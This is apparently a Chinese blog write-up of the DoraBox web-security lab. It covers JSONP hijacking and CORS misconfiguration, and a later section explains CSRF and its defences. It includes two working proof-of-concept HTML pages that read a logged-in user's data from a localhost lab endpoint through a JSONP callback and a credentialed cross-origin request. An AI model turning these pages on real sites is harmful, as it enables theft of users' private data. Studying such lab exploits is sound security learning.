DoraBox靶场(二)CSRF

本文探讨了DoraBox靶场中的两种安全问题:JSONP劫持和CORS跨域资源读取。在JSONP劫持中,攻击者利用JSON数据的构造函数执行恶意代码,获取敏感数据。作者提供了POC展示如何截获信息。而CORS跨域资源共享允许特定来源访问网站资源,但也可能导致安全风险。通过构建获取信息的页面,展示了如何利用CORS获取敏感信息。对于更深入的CORS讨论,推荐查阅Freebuf的相关文章。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

JSONP劫持

JSONP(JSON With Padding ),是一种特殊的XSRF攻击,目的是获取敏感数据,当JSON数据响应给网站时,浏览器立即会调用数组或者对象的构造函数。正是利用这一点,把构造方法替换成恶意代码,在构造方法中添加将JSON数据发送给第三方即攻击者的代码。

打开页面得到json格式

在这里插入图片描述
这时需要构造劫持页面,用来截获敏感数据。

给出作者的POC

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>json劫持</title>
</head>
<body>
    <script>
    function vulkey(data)
    {
        alert(JSON.stringify(data));
        }
        </script>
<script src="http://localhost/DoraBox-master/csrf/jsonp.php?callback=vulkey">
</script>
</body>
</html>

通过这个页面截获所有信息。

在这里插入图片描述

CORS跨域资源读

CORS(跨域资源共享——Cross-origin resource sharing)是H5提供的一种机制,WEB应用程序可以通过在HTTP增加字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源的,当不同域的请求发生时,就出现了跨域的现象。

——节选自Freebuf

同样构造获取信息页面,给出POC

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <div id="demo">
<button type="button" οnclick="cors()"CORS</button>
</div>

<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);
    }
  };
  xhttp.open("GET", "http://localhost/DoraBox-master/csrf/userinfo.php", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
</body>
</html>

点击页面中的按钮,就可以获取敏感信息。

在这里插入图片描述

关于CORS详细的探讨可以去Freebuf这个链接:

https://www.freebuf.com/column/194652.html

### 关于皮卡丘靶场中的CSRF漏洞攻防实验解决方案 #### 定义与理解 跨站请求伪造(CSRF),也被称为one-click attack或者session riding,通常缩写为XSXF, 是一种挟制用户在已认证的Web应用程序上执行非本意的操作的攻击方法。CSRF可以使攻击者借助受害者已经经过身份验证的状态,在目标网站上执行某些操作而无需用户的同意。 #### CSRF漏洞成因分析 当一个网站未能正确保护其表单提交过程免遭未经授权的访问时,就可能出现CSRF漏洞[^1]。具体来说: - **缺乏防护机制**:如果`xxx购物网站`不对个人信息修改这样的敏感操作实施有效的防CSRF措施,那么这些请求很容易被第三方模仿并发起恶意行为。 - **依赖会话状态**:一旦用户处于登录状态,并且点击了由攻击者精心设计好的链接之后,由于浏览器自动附带当前站点的有效cookie信息,这使得服务器误以为这是来自合法用户的正常请求从而予以响应。 #### 防御策略实现 为了防止此类攻击的发生,开发者应当采取一系列预防性的编码实践和技术手段来增强应用的安全性: - **引入Token校验**: 对每一个可能影响数据变更的动作都附加独一无的一次性令牌(token), 并要求客户端随同每次POST请求一同传递此token给服务端进行匹配检验。只有当两者一致时才允许继续处理业务逻辑;反之则拒绝此次调用。 - **设置Referer/Origin Header检查**: 通过对比HTTP头部携带的实际来源地址(referer 或 origin header) 和预期的目标域名是否相符来进行初步筛选过滤掉那些明显不符合规则的数据包。 - **采用SameSite Cookie属性配置**: 设置Cookie 的 SameSite 属性可以帮助阻止大多数类型的CSRF 攻击。它指示浏览器仅在同一站点上下文中发送特定 cookie (即原始页面和目标资源属于同一个顶级域) , 进一步减少了非法源站利用存储的身份凭证发动攻击的可能性。 ```html <!-- HTML Form with Anti-CSRF Token --> <form action="/change-email" method="post"> <!-- Hidden input field containing the anti-forgery token --> <input type="hidden" name="_csrf_token" value="{{ csrf_token }}"> Email Address:<br> <input type="text" name="email"><br><br> <button type="submit">Submit</button> </form> ``` 上述代码展示了如何在一个HTML表单中嵌入隐藏字段用于传输anti-csrf-token,确保每一次更改邮箱的行为都是可信可靠的。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值